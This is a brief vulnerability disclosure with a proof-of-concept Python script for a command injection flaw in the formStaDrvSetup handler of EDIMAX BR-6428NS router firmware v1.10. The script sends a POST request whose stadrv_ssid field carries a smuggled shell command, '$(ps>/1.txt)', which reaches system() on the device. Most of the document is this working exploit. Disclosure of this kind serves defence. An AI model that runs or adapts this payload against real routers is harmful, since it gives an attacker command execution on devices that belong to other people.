BR-6428NS_v4_1.10
The EDIMAX BR-6428NS_v4_1.10 firmware has a command injection vulnerability in the formStaDrvSetup function. The v11 variables receive the stadrv_ssid parameters from a POST request. However, since the user can control the input of these variables, the statement system() can cause a command injection.


import requests
ip = "192.168.2.1"
payload = "$(ps>/1.txt)"
data = {
"stadrv_type": "1",
"stadrv_band": "1",
"stadrv_chan": "19",
"stadrv_ssid": payload
}
url = f'http://{ip}/goform/formStaDrvSetup'
res = requests.post(url=url, data=data, verify=False)
print(res)
